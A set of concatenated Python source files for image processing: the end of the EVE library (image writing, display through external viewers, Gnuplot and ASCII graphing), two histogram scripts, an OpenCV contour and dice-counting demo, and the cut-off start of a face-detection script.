if stretch: temp = (temp - lo) * fac
# Ensure the image is in C-contiguous order for easy writing.
temp = numpy.asarray(temp, order="C")
f.write (temp.astype("B"))
else:
# Decide on the identifier that goes into the header.
if nc == 1:
pbmtype = "P2"
elif nc == 3:
pbmtype = "P3"
else:
pbmtype = "P? (%d channels as ASCII)" % nc
# Open the output file.
if fn == "-":
f = sys.stdout
else:
f = open (fn, "w")
# Write the header.
f.write (pbmtype + "\n%d %d\n%d\n" % (nx, ny, opmax))
# Scale the data if necessary and write them out.
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
if stretch:
v = (im[y,x,c] - lo) * fac
if v > opmax: v = opmax
if v < opmin: v = opmin
else:
v = im[y,x,c]
if binary:
byte = struct.pack ("B", v)
f.write (byte)
else:
f.write (fmt % v)
f.write ("\n")
# Close the file.
if fn != "-": f.close ()
#-------------------------------------------------------------------------------
def zero (im):
"""
Set all pixels of an image to zero.
Arguments:
im image to be zeroed (modified)
"""
set (im, 0.0)
#-------------------------------------------------------------------------------
# Internal routines.
#-------------------------------------------------------------------------------
def _pnm_header (content, header_size):
"""
Internal routine used by `read_pnm` to parse the header (containing
`header_size` values) from binary PBMPLUS-format data in `content`. We
return the header and the next location in `content` to be read, which
should be the image data themselves.
"""
# We step forward from the start of the file, ignoring comments, until
# we have read header_size whitespace-delimited values. Note that the
# end-of-line can be any of "^M" (ASCII 13, as found on old Macs),
# "^J" (ASCII 10, as used under Unix) or both (as used in Windows, DOS
# and OpenVMS if it every reappears).
header = []
loc = 0
while len (header) < header_size:
line = []
comment = False
while content[loc] != 13 and content[loc] != 10:
if content[loc] == ord ("#"):
comment = True
line += chr (content[loc])
loc += 1
if not comment:
line = "".join (line)
header.extend (line.split ())
if content[loc] == 10:
loc += 1
return header, loc
#-------------------------------------------------------------------------------
def _pnm_tokenize (content):
"""
Internal routine used by `read_pnm` to convert the content that has been
read from a file into text and then split the text up into "words".
Arguments:
content content read directly from an image file
"""
# Convert from binary to text. We use ASCII here but one might argue that
# UTF-8 might be better in the 21st century. Split the result into lines.
lines = str (content, "ascii").split ("\n")
# Now tokenize the input lines. Any word that starts with a "#" means the
# rest of the line is a comment.
tokens = []
for line in lines:
words = line.split ()
for w in words:
if w[0] == "#": break # rest of line is a comment
tokens += [w]
return tokens
#-------------------------------------------------------------------------------
# Graphical output routines.
#-------------------------------------------------------------------------------
def graphics (what="default", quant=256):
"""
Choose the graphics subsystem that EVE is to use.
Arguments:
what one of "default", "sixel", "tty" (default: "default")
quant number of levels into which sixel graphics are quantised
(default: 256)
"""
global use_graphics, sixel_quant
what = what.lower ()
if what == "default":
use_graphics = "default"
elif what == "sixel":
use_graphics = "sixel"
sixel_quant = quant
elif what == "tty" or what == "terminal" or what == "vdu":
use_graphics = "tty"
elif what == "lp":
use_graphics = "lp"
else:
m = "I don't known what '%s' graphics are, so using default"
print (m % what, file=sys.stderr)
use_graphics = "default"
#print ("[%s graphics selected]" % use_graphics, file=sys.stderr)
#-------------------------------------------------------------------------------
def select_graphics_type ():
"Determine the type of graphical output tho generate."
key = "EVE_GRAPHICS"
if key in os.environ:
val = os.environ["EVE_GRAPHICS"].lower ()
if val == "sixel16":
graphics ("sixel", 16)
elif val == "sixel256":
graphics ("sixel", 256)
else:
graphics (val)
else:
graphics ("default")
#-------------------------------------------------------------------------------
def display (im, stretch=False, bgr=False, name="Eve image", wait=False):
"""
Display an image using whatever graphics subsystem has been chosen.
Note that this routine does not provide the fine level of control of
output that is available when calling a device-specific routine.
Arguments:
im image to be displayed
stretch if True, displayed image will be contrast-stretched
bgr the channels are ordered B-G-R as in OpenCV (default: False)
name the name given to the window
wait if set (and it makes sense), wait for the user to view the image
before returning
"""
global use_graphics, sixel_quant
# Ensure the graphics type is set.
if use_graphics is None:
select_graphics_type ()
if use_graphics == "default":
display_external (im, stretch=stretch, bgr=bgr, name=name, wait=wait)
elif use_graphics == "sixel":
display_sixel (im, stretch=stretch, bgr=bgr, name=name)
elif use_graphics == "tty":
lppic (im, [" ./WX#"], width=80)
elif use_graphics == "lp":
lppic (im)
else:
print ("Internal error in display ('%s')!" % use_graphics,
file=sys.stderr)
sys.exit (99)
#-------------------------------------------------------------------------------
def graph (x, y, xlabel, ylabel, title="", logx=False, logy=False,
style="linespoints"):
"""
Plot a graph using whatever graphics subsystem has been chosen.
Note that this routine does not provide the fine level of control
of output that is available when calling a device-specific
routine.
Arguments:
x a list of values to form the abscissa
y either a list of values to be plotted on the ordinate axis
or a list of lists of values to be plotted as a series of
separate curves
xlabel label to appear on the abscissa
ylabel label to appear on the ordinate axis
title the title of the graph (default: None)
logx if True, make the x-axis logarithmic (default: False)
logy if True, make the y-axis logarithmic (default: False)
style the method used to plot the data, a valid Gnuplot line-type
or "histogram" (default: "linespoints")
"""
global use_graphics
# Ensure the graphics type is set.
if use_graphics is None:
select_graphics_type ()
if use_graphics == "default":
graph_gnuplot (x, y, xlabel, ylabel, title, logx=logx, logy=logy,
style=style)
elif use_graphics == "sixel":
graph_gnuplot (x, y, xlabel, ylabel, title, logx=logx, logy=logy,
terminal="sixel", wait=False, style=style)
print ()
elif use_graphics == "tty":
lpgraph (x, y, xlabel, ylabel, title, logx=logx, logy=logy, style=style)
else:
print ("Internal error in graph ('%s')!" % use_graphics,
file=sys.stderr)
sys.exit (99)
#-------------------------------------------------------------------------------
def display_external (im, stretch=False, wait=False, bgr=False,
name="EVE image", program=None, hint=False):
"""
Display an image using an external program.
Arguments:
im image to be displayed
stretch if True, displayed image will be contrast-stretched
wait when True, allow the display program to exit before returning
bgr the channels are ordered B-G-R as in OpenCV (default: False)
name the name given to the window
program external program to be used for display
(default: system-dependent)
hint output a line saying how to close the display (default: False)
"""
# Make sure the channels are in the right order.
if bgr: im = swap_channels (im)
# We do different things on different operating systems.
if systype == 'Windows':
if stretch:
copy = im.copy()
contrast_stretch (copy)
else:
copy = im
write_pil (copy, '', 'display') # temporary kludge
return
# According to the website (spread over two lines of comment here):
# http://www.velocityreviews.com/forums/
# t707158-python-pil-and-vista-windows-7-show-not-working.html
# Windows Vista needs the following workaround for image display via
# Pil to work properly:
# Edit (e.g., with TextPad) the file
# C:\Python26\lib\site-packages\PIL\ImageShow.py
# Around line 99, edit the existing line to include a ping command,
# as follows (spread over two lines of comments here):
# return "start /wait %s && PING 127.0.0.1 -n 5
# > NUL && del /f %s" % (file, file)
if program is None: program = 'mspaint'
handle, fn = tempfile.mkstemp (suffix='.bmp')
write_bmp (copy, fn)
if hint:
print ('Type "Control-q" in the image window to close it.',
file=sys.stderr)
line = "%s %s && ping 127.0.0.1 -n 15 > NUL && del /f %s" % \
(program, fn, fn)
if wait:
line = 'start /wait ' + line
else:
line = 'start /wait' + line # must wait on Windows, I think
os.system (line)
else:
# Phew! We're in the Unix world.
if program is None:
if find_in_path ('xv'):
program = 'xv -name "' + name + '"'
if hint:
print ('Type "q" in the image window to close it.',
file=sys.stderr)
elif find_in_path ('display'):
program = 'display'
if hint:
print ('Type "q" in the image window to close it.',
file=sys.stderr)
elif systype == 'Darwin':
if stretch:
copy = im.copy()
contrast_stretch (copy)
else:
copy = im
handle, fn = tempfile.mkstemp (suffix='.png')
write_png (copy, fn)
if hint:
print ('Type "Command-q" in the image window to close it.',
file=sys.stderr)
line = "%s '%s'; sleep 5; rm -f '%s'"
if not wait:
line = "(" + line + ")&"
line = line % ("open -a /Applications/Preview.app", fn, fn)
os.system (line)
return
else:
raise ValueError ('Cannot find an image display program')
handle, fn = tempfile.mkstemp ()
write_pnm (im, fn, stretch=stretch)
if wait:
line = "%s %s; rm -f %s" % (program, fn, fn)
else:
line = "(%s %s; rm -f %s)&" % (program, fn, fn)
os.system (line)
os.close (handle)
#-------------------------------------------------------------------------------
def display_sixel (im, stretch=False, bgr=False, wait=True, name="Eve image",
levels=256):
"""Display `im` as sixels."""
global PROGRAMS
print (name + ":")
for prog, inv in PROGRAMS["sixel display"]:
if find_in_path (prog):
display_external (im, stretch=stretch, bgr=bgr, wait=wait,
program=inv % levels)
break
print ()
#-------------------------------------------------------------------------------
def graph_gnuplot (x, y, xlabel='x', ylabel='y', title=' ', xlimits=None,
logx=False, logy=False, style='linespoints', key=None,
wait=True, terminal=None, fn=None):
"""
Graph data using Gnuplot.
Arguments:
x a list of values to form the abscissa
y either a list of values to be plotted on the ordinate axis
or a list of lists of values to be plotted as a series of
separate curves
title the title of the graph
xlabel the text used to annotate the abscissa
ylabel the text used to annotate the ordinate
xlimits if supplied, a list of [xlow, xhigh]
logx if True, make the x-axis logarithmic (default: False)
logy if True, make the y-axis logarithmic (default: False)
style the method used to plot the data, one of "lines", "linespoints"
or "histogram" (default: "linespoints")
key if supplied, a list of the same length as the number of plots
giving the name for each curve (default: None)
wait if True, allow the user to view the plot (and optionally save
the data to file) before continuing (default: True)
fn if supplied, the name of a PDF file into which the graph is
saved (in which case, wait is set to False)
"""
# Work out and organise what we're plotting.
if isinstance (y, numpy.ndarray):
shape = y.shape
if len (shape) == 1:
y = y.reshape (1, shape[0])
nplots, npoints = y.shape
else:
nydims = 2 if isinstance (y[0], list) else 1
if nydims == 1: y = [y]
nplots = len (y)
npoints = len (y[0])
y = numpy.array (y)
# If no x-values were given, provide some.
if x is None:
x = numpy.ndarray (npoints)
for ix in range (0, npoints):
x[ix] = ix
else:
x = numpy.array (x)
# Start talking to Gnuplot and tell it how we'd like the graph to appear.
if wait:
p = os.popen ("gnuplot --persist", "w")
else:
p = os.popen ("gnuplot", "w")
if terminal is not None:
print ("set term " + terminal, file=p)
if key is None:
print ("set nokey", file=p)
print ("set grid", file=p)
print ('set title "%s"' % title, file=p)
print ('set xlabel "%s"' % xlabel, file=p)
print ('set ylabel "%s"' % ylabel, file=p)
if xlimits: print ("set xrange [%f:%f]" % (xlimits[0], xlimits[1]), file=p)
if logx: print ("set log x", file=p)
if logy: print ("set log y", file=p)
if fn is not None:
print ("set term pdf", file=p)
print ('set output "%s"' % fn, file=p)
wait = False
if style == "histogram":
print ("set style data histogram", file=p)
print ("binwidth=0.9", file=p)
print ("set boxwidth binwidth", file=p)
print ("set style fill solid", file=p)
extra = "with boxes"
else:
print ("set style data " + style, file=p)
extra = ""
# Produce the plot command.
text = "plot "
for dataset in range (0, nplots):
text += '"-"'
if not key is None:
text += 'title "%s" ' % key[dataset]
text += extra + ", "
print (text[:-2], file=p)
# Output the points to plot.
for dataset in range (0, nplots):
for i in range (0, npoints):
print (x[i], y[dataset,i], file=p)
print ("e", file=p)
p.flush ()
"""
# Exit if the user types <EOF>; give (minimal) instructions if they type
# "?"; simply continue if they type <return>. Anything else typed in
# response to the prompt is assumed to be a filename and we save the data
# that file. (And yes, that can result in silly filenames...)
if wait:
looping = True
else:
looping = False
while looping:
sys.stderr.write ("CR> ")
sys.stderr.flush()
fn = sys.stdin.readline()
if len(fn) < 1:
print ("Exiting...", file=sys.stderr)
sys.exit (1)
if len(fn) > 0 and fn == "?\n":
print ('fn to save data to "fn" else <return>', file=sys.stderr)
continue
if len(fn) > 1 and fn != "":
f = open (fn[:-1],"w")
nx = len (x)
for i in range (0, nx):
print (x[i], file=f, end=" ")
for dataset in range (0, nplots):
print (y[dataset,i], file=f, end=" ")
print (file=f)
f.close ()
looping = False
"""
p.close ()
#-------------------------------------------------------------------------------
def graph_matplotlib (x, y, xlabel='x', ylabel='y', title=' ', logx=False,
logy=False, style="linespoints", key=None):
"""
Graph data using Matplotlib.
Arguments:
x a list of values to form the abscissa
y either a list of values to be plotted on the ordinate axis
or a list of lists of values to be plotted as a series of
separate curves
title the title of the graph
xlabel the text used to annotate the abscissa
ylabel the text used to annotate the ordinate
logx if True, make the x-axis logarithmic (default: False)
logy if True, make the y-axis logarithmic (default: False)
style the method used to plot the data, one of "lines", "linespoints"
or "histogram" (default: "linespoints")
key if supplied, a list of the same length as the number of plots
giving the name for each curve (default: None)
"""
import pylab as p
# Possible line styles.
linestyles = {
"lines": "-",
"linespoints": "-o",
}
# Work out whether we're plotting one or several lines.
nydims = 2 if isinstance (y[0], list) else 1
if nydims == 1: y = [y]
nplots = len (y)
ny = len (y[0])
# If no x-values were given, provide some.
if x is None:
x = []
for ix in range (0, ny):
x += [ix]
# We want everything to be numpy arrays.
x = numpy.array (x)
y = numpy.array (y)
# Set up pylab.
p.figure ()
p.grid ()
p.title (title)
p.xlabel (xlabel)
p.ylabel (ylabel)
# Set the plotting style of a conventional histogram.
if style in linestyles:
ls = linestyles[style]
else:
ls = "-o"
# Plot the data.
for dataset in range (0, nplots):
if key is not None:
lab = key[dataset]
else:
lab = None
if style == "histogram":
p.bar (x, y[dataset], label=lab, align='center')
else:
p.plot (x, y[dataset], ls, label=lab)
if not key is None: p.legend ()
p.show ()
#-------------------------------------------------------------------------------
def graph_pgfplots (x, y, fn, xlabel='x', ylabel='y', title=' ', logx=False,
logy=False, style='linespoints', key=None, preamble=True):
"""
Graph data using LaTeX's PGFplot system.
Arguments:
x a list of values to form the abscissa
y either a list of values to be plotted on the ordinate axis
or a list of lists of values to be plotted as a series of
separate curves
fn the name of the file to receive the LaTeX commands for
the plot
title the title of the graph
xlabel the text used to annotate the abscissa
ylabel the text used to annotate the ordinate
logx if True, make the x-axis logarithmic (default: False)
logy if True, make the y-axis logarithmic (default: False)
style the method used to plot the data, one of "lines",
"linespoints" or "histogram" (default: "linespoints")
key if supplied, a list of the same length as the number of plots
giving the name for each curve (default: None)
preamble if True, write out the document preamble at the top of the `fn`
"""
# Work out whether we're plotting one or several lines.
nydims = 2 if isinstance (y[0], list) else 1
if nydims == 1: y = [y]
nplots = len (y)
ny = len (y[0])
# If no x-values were given, provide some.
if x is None:
x = []
for ix in range (0, ny):
x += [ix]
# We want everything to be numpy arrays.
x = numpy.array (x)
y = numpy.array (y)
# Open the file and write out the preamble.
f = open (fn, "w")
if preamble: print (r"""
%\usepackage{pgfplots} % <-- in the document preamble
\pgfplotsset{compat=newest}
\pgfplotsset{eve/.style={
y tick label style={
/pgf/number format/.cd,
fixed,
fixed zerofill,
precision=1,
/tikz/.cd
},
x tick label style={
/pgf/number format/.cd,
fixed,
fixed zerofill,
precision=1,
/tikz/.cd
},
tick label style = {font=\sffamily\small},
every axis label = {font=\sffamily\small},
legend style = {font=\sffamily},
label style = {font=\sffamily\small}}
}""", file=f)
# Work out the line style.
mark = "none" if style == "lines" else "*"
# Work out the axis type and write out the beginning of the plot.
if logx and logy: axis = "loglogaxis"
elif logx: axis = "semilogxaxis"
elif logx: axis = "semilogyaxis"
else: axis = "axis"
print (r"\begin{figure}", file=f)
print (r" \begin{center}", file=f)
print (r" \begin{tikzpicture}", file=f)
print (r" \begin{%s}[eve, xlabel=%s, ylabel=%s," % \
(axis, xlabel, ylabel), file=f)
print (r" width=0.8\textwidth, height=0.45\textheight]", file=f)
# Output the data to be plotted.
for dataset in range (0, nplots):
if style == "histogram":
print (r" \addplot[ybar interval] coordinates {", file=f)
else:
print (r" \addplot[mark=%s] coordinates {" % mark, file=f)
for i in range (0, ny):
print (' (%f, %f)' % (x[i], y[dataset,i]), file=f)
print (' };', file=f)
# Finish the plot off.
print (r" \end{%s}" % axis, file=f)
print (r""" \end{tikzpicture}
\end{center}
\caption{%s}
\label{fig:%s}
\end{figure}""" % (title, title), file=f)
f.close()
#-------------------------------------------------------------------------------
def lpaxis (vmin, vmax, nincs):
"Calculate information to use on the axis of a line printer plot."
preferred = [1, 1.2, 1.5, 1.8, 2, 2.5, 3, 3.5, 4, 5, 6, 8, 10]
npref = len (preferred)
# Make an initial guess of step, reducing it into the range of
# preferred values.
step = (vmax - vmin) / nincs
order = int (math.log10 (step))
if step < 1.0:
order -= 1
step = step / 10.0**order
# Find the smallest value in preferred greater than step.
for p in range (0, npref):
if preferred[p] > step:
break
while True:
# Regenerate step.
step = preferred[p] * 10**order
# Set vlow to the next multiple of step below vmin. This is the
# smallest value which will appear on the axis, and we return it.
offset = 0.04 if vmin >= 0 else -0.96
vlow = int (vmin/step + offset) * step
# Check that vmax lies in the range of values.
if (vmax - vlow) / nincs <= step:
vv = 0.0 if vmin < 0 and vmax > 0 else vlow
origin = int ((vv - vmin) / step)
break
# It didn't fit so increase step and try again.
p += 1
if p >= npref:
p = 0
order += 1
return origin, step, vlow
#-------------------------------------------------------------------------------
def lpgraph (x, y, xlabel, ylabel, title="", width=80, height=23,
fd=sys.stdout, logx=False, logy=False, style="linespoints",
points="X*AXCDEFGHIJKLMNPQRSTUVWXYZ"):
"""Plot a graph on a line printer (as "ASCII art").
Arguments:
x a list of values to form the abscissa
y either a list of values to be plotted on the ordinate axis
or a list of lists of values to be plotted as a series of
separate curves
xlabel label to appear on the abscissa
ylabel label to appear on the ordinate axis
title the title of the graph (default: None)
width number of columns in the output (default: 80)
height number of lines in the output (default: 23)
fd output file stream
logx if True, make the x-axis logarithmic (default: False)
logy if True, make the y-axis logarithmic (default: False)
style the method used to plot the data, a valid Gnuplot line-type
or "histogram" (default: "linespoints")
points plotting points (default: "X*AXCDEFGHIJKLMNPQRSTUVWXYZ")
"""
# Set-up.
nowid = 9
fmt = "%" + "%d.2g" % nowid
# Work out whether we're plotting one or several lines.
nydims = 2 if isinstance (y[0], list) else 1
if nydims == 1: y = [y]
nplots = len (y)
ny = len (y[0])
# If no x-values were given, provide some.
if x is None:
x = []
for ix in range (0, ny):
x += [ix]
# Determine the extrema of the axes.
xmin = x[0]
xmax = x[0]
for xx in x:
if logx: xx = math.log10 (xx)
if xx < xmin: xmin = xx
if xx > xmax: xmax = xx
ymin = y[0][0]
ymax = y[0][0]
for p in range (0, nplots):
for i in range (0, ny):
yy = y[p][i]
if logy: yy = math.log10 (yy)
if yy < ymin: ymin = yy
if yy > ymax: ymax = yy
# Work out the increments and origin positions on the axes.
fstcol = nowid + 3
lstrow = 3
ncols = width - fstcol
colyax, xinc, xmin = lpaxis (xmin, xmax, ncols)
colyax += fstcol
# Output any title across the top of the graph.
if title != "" and title != " ":
nb = (width - fstcol) - len (title)//2
gap = " " * (nb // 2)
print (gap + title, file=fd)
height -= 1
nlines = height - lstrow
linxax, yinc, ymin = lpaxis (ymin, ymax, nlines)
linxax += lstrow
# Calculate those values that depend on the increments and axis positions.
colyno = colyax - nowid
colytl = colyno - 1
ylen = min (len (ylabel), height)
ytfst = height - (height-ylen) // 2
ych = 0
# We can now start to output the graph line by line.
top = ymin + (nlines+1) * yinc
for L in range (height, 0, -1):
bot = top - yinc
# Clear the output buffer.
lpbuf = [" "] * width
if L == linxax:
for i in range (fstcol, width):
lpbuf[i] = "-" if (i-colyax) % 10 else "+"
elif linxax > lstrow or L > linxax:
lpbuf[colyax] = "|"
# Add the y-axis numbering and annotation, if required.
if (L-linxax) % 5 == 0:
lpbuf[colyax] = "+"
yy = 10**bot if logy else bot
number = fmt % yy
for i in range (0, nowid):
if number[i] != " ": lpbuf[i+colyno] = number[i]
if L <= ytfst and ych < ylen:
lpbuf[colytl] = ylabel[ych]
ych += 1
# Add the x-axis numbering and annotation, if required.
if L == (linxax-1):
for i in range (fstcol, width - (nowid//2)):
if (i-colyax) % 10 == 0:
fch = i - nowid + 1
number = (i-fstcol)*xinc + xmin
xx = 10**number if logx else number
number = fmt % xx
for n in range (0, nowid):
lpbuf[fch+n] = number[n]
elif L == (linxax-2):
nch = min (len (xlabel), ncols)
fch = (ncols - nch) // 2 + fstcol
for n in range (0, nch):
lpbuf[fch+n] = xlabel[n]
# lpbuf now holds any axes, annotation and numbering. Now scan
# through all the y-values, inserting the relevant plotting point
# into lpbuf if a value lines in the range [bot, top).
if top >= ymin:
for p in range (0, nplots):
for i in range (0, ny):
val = y[p][i]
if logy: val = math.log10 (val)
if style == "histogram" and val >= top:
xx = math.log10 (x[i]) if logx else x[i]
nch = int (round ((xx - xmin)/xinc) + fstcol)
lpbuf[nch] = points[p]
elif val >= bot and val < top:
xx = math.log10 (x[i]) if logx else x[i]
nch = int (round ((xx - xmin)/xinc) + fstcol)
lpbuf[nch] = points[p]
# Now output the line and prepare for the next one.
line = "".join (lpbuf)
print (line.rstrip (), file=fd)
top = bot
#-------------------------------------------------------------------------------
def lppic (im, using=["* ", "@#+- ", "#XXXX/' "], fd=sys.stdout,
ff=False, aspect_ratio=1.65, width=132, border="tblr",
reverse=False, limits=None):
"""
Output an image as characters, optionally with overprinting.
Arguments:
im image to be printed
using list of characters, each defining one layer of
overprinting in order of increasing blackness
(default: ["* ", "@#+- ", "#8XXX/' "])
fd file on which the output is written (default: sys.stdout)
ff if True, output a form-feed before printing the image
(default: false)
aspect_ratio ratio of character height to width (default: 1.65, which
matches that of Courier)
width number of characters in each line of output (default: 132)
border how the image should have its border drawn, a string of
characters from 'news' or 'tblr'
reverse if True, reverse the contrast (default: False)
limits if supplied, a list comprising the minimum and maximum
image values that should be used for determining the
mapping onto characters; image values outside this are
clipped
"""
# If using is a string, we don't overprint. A good set of characters in
# that case is using="#@X+/' " for terminal windows with a light
# background. If using is a list, we assume it's a list of strings,
# giving the different levels of overprinting. In that case, the default
# set looks OK.
chars = []
if isinstance (using, str):
nover = 1
chars.append(using)
elif isinstance (using, list):
chars = using
nover = len(using)
else:
raise ValueError ('Illegal argument type')
nvals = len (chars[0])
# Work out how many pixels we're to print across the output.
im = reshape3 (im)
ny, nx, nc = sizes (im)
if nx < width:
xmax = nx
else:
xmax = width - 2
xinc = nx / xmax
yinc = xinc * aspect_ratio
ymax = int (ny / yinc + 0.5)
# Work out the grey-level scaling factor.
if limits is None:
lo, hi = extrema (im)
else:
lo, hi = limits
if hi == lo:
hi += 1
fac = (nvals - 1) / (hi - lo)
# Decide which borders we're to print. If we're to print the top or
# bottom border, work it out.
doN = doE = doS = doW = False
if border.find ('n') >= 0 or border.find ('t') >= 0:
doN = True
if border.find ('e') >= 0 or border.find ('r') >= 0:
doE = True
if border.find ('s') >= 0 or border.find ('b') >= 0:
doS = True
if border.find ('w') >= 0 or border.find ('l') >= 0:
doW = True
if doN or doS:
sep = '+'
for x in range (0, xmax):
if x % 5 == 4:
sep += '+'
else:
sep += '-'
sep += '+'
# Arrange to print a form-feed if necessary, and print the top border.
if ff:
ffc = ''
else:
ffc = ''
if doN:
print (ffc + sep, file=fd)
ffc = ''
# Print the image.
buf = numpy.zeros (xmax, int)
fy = 0
for y in range (0, ymax):
dy = fy - int(fy)
dy1 = 1.0 - dy
ylo = int(fy) % ny
yhi = (ylo + 1) % ny
ib = -1
# For each pixel along a line, average all the channels to one and
# scale the value into the appropriate number of levels.
fx = 0
for x in range (0, xmax):
dx = fx - int(fx)
dx1 = 1.0 - dx
xlo = int(fx) % nx
xhi = (xlo + 1) % nx
v = 0
for c in range (0, nc):
vc = dx1 * dy1 * im[ylo,xlo,c] + \
dx * dy1 * im[ylo,xhi,c] + \
dx1 * dy * im[yhi,xlo,c] + \
dx * dy * im[yhi,xhi,c]
v += vc
v /= nc
v = int ((v - lo) * fac + 0.5)
if v < 0: v = 0
if v >= nvals: v = nvals - 1
ib += 1
buf[ib] = v
fx += xinc
fy += yinc
# Print the line, including the borders if appropriate. The traditional
# way of doing this is as a series of lines using the carriage return
# character '\r' so that subsequent lines over-print the first; but '\r'
# is the end-of-line delimiter on Macintoshes, which confuses things.
# So we have to backspace after each character in order to over-print.
# And so technology moves on...
if doW or doE:
if y % 5 == 4: mark = '+'
else: mark = '|'
else: mark = ' '
line = ' '
if doW: line = mark
for x in range (0, len(buf)):
for ov in range (0, nover-1):
line += chars[ov][buf[x]] + '\b'
line += chars[nover-1][buf[x]]
if doE: line += mark
print (ffc + line, file=fd)
ffc = ''
# Print the bottom border.
if doS: print (sep, file=fd)
#-------------------------------------------------------------------------------
# Main program
#-------------------------------------------------------------------------------
if __name__ == "__main__":
text = \
"""
There is a separate test script to check that EVE works correctly on your
platform, available from:
http://vase.essex.ac/uk/software/eve/
""".strip ()
timestamp = "Time-stamp: <2020-10-05 16:49:14 Adrian F Clark (alien@essex.ac.uk)>"
# Local Variables:
# time-stamp-line-limit: -10
# End:
#-------------------------------------------------------------------------------
# End of EVE
#-------------------------------------------------------------------------------
```
histogram.py
```#!/usr/bin/env python3
"Summarize the content of images by showing their statistics and histogram"
import sys, cv2, numpy, pylab, scipy
from scipy.ndimage import extrema
def histogram(im, bins = 64, limits = None):
"""
Work out the histogram of the image 'im'.
The histogram is accumulated in 'bins' bins.
By default, these lie between the minimum and maximum values of 'im'
but other extrema can be provided in 'limits',
a list comprising the low and high limits to be used.
Values outside these extrema are ignored.
"""
# Find the extreme values in the image.
if limits is None: limits = [im.min(), im.max()]
lo, hi = limits
# Create the arrays to hold the values to be plotted.
h = numpy.zeros(bins)
a = numpy.zeros(bins)
# Fill the x array with the centres of the bins.
inc = (hi - lo) / (bins - 1)
for i in range(0, bins):
a[i] = lo + i * inc
# Accumulate the histogram.
ny, nx, nc = im.shape
for y in range(0, ny):
for x in range(0, nx):
for c in range(0, nc):
v = int((im[y, x, c] - lo) / (hi - lo) * (bins - 1) + 0.5)
if v >= 0 and v < bins:
h[v] += 1.0
# Return the abscissa and coordinate array
return a, h
def cumulative_histogram(im, bins=256, limits=None):
"calculate a cumulative histogram"
a, h = histogram(im, bins=bins, limits=limits)
for i in range(1, len(h)):
h[i] = h[i] + h[i - 1]
return a, h
def lut (im, table, limits = None):
"Look up each pixel of an image in a table"
if limits is None: limits = extrema(im)
lo, hi = limits
ny, nx, nc = im.shape #sizes(im)
bins = len(table)
for y in range(0, ny):
for x in range(0, nx):
for c in range (0, nc):
v = (im[y,x,c] - lo)/(hi - lo) * (bins - 1)
im[y,x,c] = table[int(v)]```
histogram.py
```#!/usr/bin/env python3
import cv2, sys, numpy, matplotlib.pyplot
# histogram: number of times each individual picture value occurs in an image
def my_histo(im):
"Return the histogram of an image"
ny, nx, nc = im.shape
print(ny,nx,nc)
# creates an array full of 0s for everything we see
hist = numpy.zeros((256))
for y in range(0,ny):
for x in range(0,nx):
for c in range (0,nc):
v = im[y,x,c] # cycles through the 3 channels, puts it into the histogram
hist[v] = hist[v] + 1 # adds 1, keeping count of times the grey level occurs
return hist
# Read an image and store it as a numpy array
# Has a type, can extract information from it
#im = cv2.imread(sys.argv[1])
im = cv2.imread("img.png")
# calculate the histogram
hist = my_histo(im)
# print out what has been calculated
for i in range(0, 256):
print(i, hist[i])
matplotlib.pyplot.plot(hist)
hist2 = cv2.calcHist([im],[0],None,[256],[0,256])
# print out what has been calculated
for i in range(0, 256):
print(i, hist2[i])
matplotlib.pyplot.plot(hist2)
hist3, _ = numpy.histogram(im.ravel(), 256, [0,256])
# print out what has been calculated
for i in range(0, 256):
print(i, hist3[i])
matplotlib.pyplot.plot(hist3)
```
contours3
```#!/usr/bin/env python3
"contours -- demo of OpenCV's contour-processing capabilities"
import sys, cv2, numpy
# Set-up.
thresholding = "vanilla"
thresholding = "adaptive"
thresholding = "otsu"
contouring = "vanilla"
contouring = "tree"
# Handle the command line.
if len (sys.argv) < 3:
print ("Usage:", sys.argv[0], "<image>",
" <threshold>",
" <thresholdingType>",
" <contourType>"
, file=sys.stderr)
sys.exit (1)
im = cv2.imread (sys.argv[1])
t = int (sys.argv[2])
if len (sys.argv) > 2:
tmethInt = int(sys.argv[3])
if tmethInt == 0:
thresholding = "vanilla"
elif tmethInt == 1:
thresholding = "adaptive"
else:
thresholding = "otsu"
if len (sys.argv) > 3:
if int(sys.argv[4]) == 0:
contouring = "vanilla"
else:
contouring = "tree"
print(thresholding)
print(contouring)
# Convert to greyscale and reduce noise a little.
grey = cv2.cvtColor (im, cv2.COLOR_BGR2GRAY)
blur = cv2.GaussianBlur (grey, (5, 5), 0)
# Threshold the image.
if thresholding == "adaptive":
binary = cv2.adaptiveThreshold (blur, 255, cv2.ADAPTIVE_THRESH_MEAN_C,
cv2.THRESH_BINARY, 11, 2)
elif thresholding =="otsu":
t, binary = cv2.threshold (blur, 0, 255, cv2.THRESH_BINARY
+ cv2.THRESH_OTSU)
print ("Otsu threshold is", t)
else:
t, binary = cv2.threshold (blur, t, 255, cv2.THRESH_BINARY)
# Remove small features in the binary image using a morphological close.
kernel = numpy.ones ((9,9), numpy.uint8)
binary = cv2.erode (binary, kernel, iterations=1)
# Find contours.
if contouring == "tree":
# Find internal and external contours.
contours, hierarchy = cv2.findContours (binary, cv2.RETR_TREE,
cv2.CHAIN_APPROX_SIMPLE)
# Count the number of pips on the dice faces. We do this by iterating
# through hierarchy[0], first to find the indices of dice contours,
# then a second time to find pip contours.
dice = [] # list of dice contours
pips = [] # list of pip contours
# Find dice contours, drawing the contours as we process them.
for (i, c) in enumerate(hierarchy[0]):
if c[3] == -1:
dice.append (i)
cv2.drawContours (im, contours, i, (0, 0, 255), 5)
# Find pip contours, drawing them as we process them.
for (i, c) in enumerate(hierarchy[0]):
if c[3] in dice:
pips.append (i)
cv2.drawContours (im, contours, i, (0, 255, 0), 5)
# Report the total number of pips found.
print ("Total die roll:", len (pips))
else:
# Find external contours only.
contours, junk = cv2.findContours (binary, cv2.RETR_EXTERNAL,
cv2.CHAIN_APPROX_SIMPLE)
# Draw contours over original image.
cv2.drawContours (im, contours, -1, (0, 0, 255), 5)
# Print a table of the contours and their sizes.
print ("Found %d objects." % len(contours))
for (i, c) in enumerate(contours):
print ("\tSize of contour %d: %d" % (i, len(c)))
# Display the result.
cv2.namedWindow (sys.argv[0], cv2.WINDOW_NORMAL)
ny, nx, nc = im.shape
cv2.resizeWindow (sys.argv[0], nx//2, ny//2)
cv2.imshow (sys.argv[0], im)
cv2.waitKey (0)```
face-detect
```#!/usr/bin/env python3
"""Face Detection using OpenCV. Based on sample code from:
http://blog.jozilla.net/2008/06/27/fun-with-python-opencv-and-face-detection/
updated by Alien to work with OpenCV 3.0 and its python bindings."""
import argparse, cv2, os, sys
def load_cascade (fn):
